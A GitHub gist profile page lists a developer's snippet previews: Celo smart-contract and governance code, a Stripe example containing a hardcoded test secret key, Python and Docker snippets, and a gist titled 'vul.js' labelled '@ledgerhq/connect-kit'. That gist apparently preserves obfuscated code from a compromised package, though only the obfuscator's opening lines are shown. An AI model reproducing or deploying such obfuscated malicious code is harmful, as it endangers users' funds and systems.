Skip to content

Instantly share code, notes, and snippets.

View martinvol's full-sized avatar
💭
Good as new

Martín Volpe martinvol

💭
Good as new
View GitHub Profile
pragma solidity ^0.8.13;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @notice This interface should be implemented for tokens which are supposed to
* act as fee currencies on the Celo blockchain, meaning that they can be
* used to pay gas fees for CIP-64 transactions (and some older tx types).
* See https://github.com/celo-org/celo-proposals/blob/master/CIPs/cip-0064.md
*
// SPDX-License-Identifier: apache-2.0
pragma solidity >=0.8.7 <0.8.20;
import "@openzeppelin/contracts8/token/ERC20/IERC20.sol";
import "../../contracts/common/Initializable.sol";
import "./IFeeCurrency.sol";
contract FeeCurrencyWrapper is Initializable {
@martinvol
martinvol / vul.js
Created December 14, 2023 14:01
@ledgerhq/connect-kit
This file has been truncated, but you can view the full file.
'use strict';
(function(t,n){const Mk={t:0xd06,n:0xe41,K:0x10b,u:0x792,k:0x1dec,Y:0x2026,a:0x1b74,S:0x1eb4,U:0x66d,D:'\x41\x6d\x4a\x53',l:0xf2d,M:0x1c4b,G:'\x66\x4a\x44\x28',O:0x14d5,r:0x2077,d:0x2c72,s:0x1de5,v:'\x39\x42\x64\x21'},Mg={t:0x62},Mn={t:0x16a},Mt={t:0x3db},M9={t:0x120};
function R(t,n,K){return q(n-M9.t,t);
}function W(t,n,K){return j(K- -Mt.t,n);
}function c(t,n,K){return j(n- -Mn.t,t);
}function I(t,n,K){return j(t-Mg.t,K);
}const K=t();
function V(t,n,K){return q(K- -0xb3,t);
}function H(t,n,K){return q(t-0x2e3,n);
}while(!![]){try{const u=-parseInt(V(0xd3c,Mk.t,Mk.n))/(-0xd9*0x17+0xa2a+0x4ab*0x2)+parseInt(V(0x52a,Mk.K,Mk.u))/(-0x93d+0xa58+-0x119)*(-parseInt(I(Mk.k,Mk.Y,'\x41\x47\x5e\x44'))/(0x569*-0x5+0x2e*-0x8f+-0x2*-0x1a61))+-parseInt(W(Mk.a,'\x47\x56\x26\x68',Mk.S))/(0xc76+-0x15bb+0x949*0x1)*(-parseInt(V(0xb40,Mk.U,0xa70))/(-0x1*0x235b+-0x2f1*0x9+-0x1*-0x3dd9))+-parseInt(I(0x672,-0x133,Mk.D))/(-0x3*-0x2af+0x6b*0x55+-0x2b8e)*(parseInt(R(Mk.l,0x145b,Mk.M))/(-0x1*0x1807+-0x7be+0x1fcc))+-parse
@martinvol
martinvol / propose_and_pass.sh
Last active January 20, 2023 16:38
Step by step to pass a governance proposal on Alfajores or Baklava Celo testnets
#!/usr/bin/env bash
# Imperfect but simple script to pass governance proposals on Celo tesnets (staging, baklava or alfajores)
set -euo pipefail
# Variables to be defined
PROPOSAL_JSON_PATH= # Path for json of the proposal
DESCRIPTION_URL= # Path for the URL containing the proposal
SIGNER= # address that will send the tx
APPROVER= # approver address
class Startup {
private static async example_payment() {
const headers = {
'Accept': 'application/json',
'Content-Type': 'application/x-www-form-urlencoded',
'Authorization': 'Basic ' + Buffer.from('sk_test_RNf1bOpZ1h6nN3tOucucRCMs').toString('base64')
}
// create a customer
@martinvol
martinvol / garoto-metadata.json
Last active July 2, 2020 23:29
garoto-metadata.json
{"claims":[{"url":"https://garoto.martinvol.com","timestamp":1593732517,"type":"ATTESTATION_SERVICE_URL"}],"meta":{"address":"0xe34CD052e59fF830b286a125c52Dde568AC8BD48","signature":"0xb05bb1dd83f799fbe6b10289fb92679b492c4157f580f329b81a05e3b695ed2666226c19dffb4257077b9d1ec31010f8b347c1c9eae97cd141d0e622b24b46f01c"}}
{"claims":[{"url":"https://black-chocolate.martinvol.com","timestamp":1593729237,"type":"ATTESTATION_SERVICE_URL"}],"meta":{"address":"0x02DC997790352E12fA90eb1A937dFeF4bF8Dbbc0","signature":"0xadb843fe4da0e949b0caa167adb65ac6145ffe02d2eec22896506865dd074b0d4687d0ddd2b9e3e004f9335c1690aa4f7aca5b740dd8fde3801d1cbc169f83c21c"}}
@martinvol
martinvol / example.py
Created June 10, 2020 17:43
Connecting to the Celo Network from Python using web3
import web3
min_registry_abi = [
{
"name": "getAddressForString",
"constant": True,
"inputs": [{
"type": "string"
}],
"outputs": [{
@martinvol
martinvol / Dockerfile
Created October 15, 2019 10:12
Build Android app inside a Docker Container
FROM gradle:4.10.0-jdk8
USER root
ENV SDK_URL="https://dl.google.com/android/repository/sdk-tools-linux-3859397.zip" \
ANDROID_HOME="/usr/local/android-sdk" \
ANDROID_VERSION=25 \
ANDROID_BUILD_TOOLS_VERSION=27.0.3 \
ANDROID_ABI=armeabi-v7a \
AVD_NAME=Nexus_5X_API_28
@martinvol
martinvol / hashme.py
Last active August 12, 2018 21:45
How to hash non-hashable and mutable objects in Python
class Node:
# ...
def __hash__(self):
return id(self)
my_node = Node()
my_hash = {my_node: "It's there!"}
print(my_hash[my_node])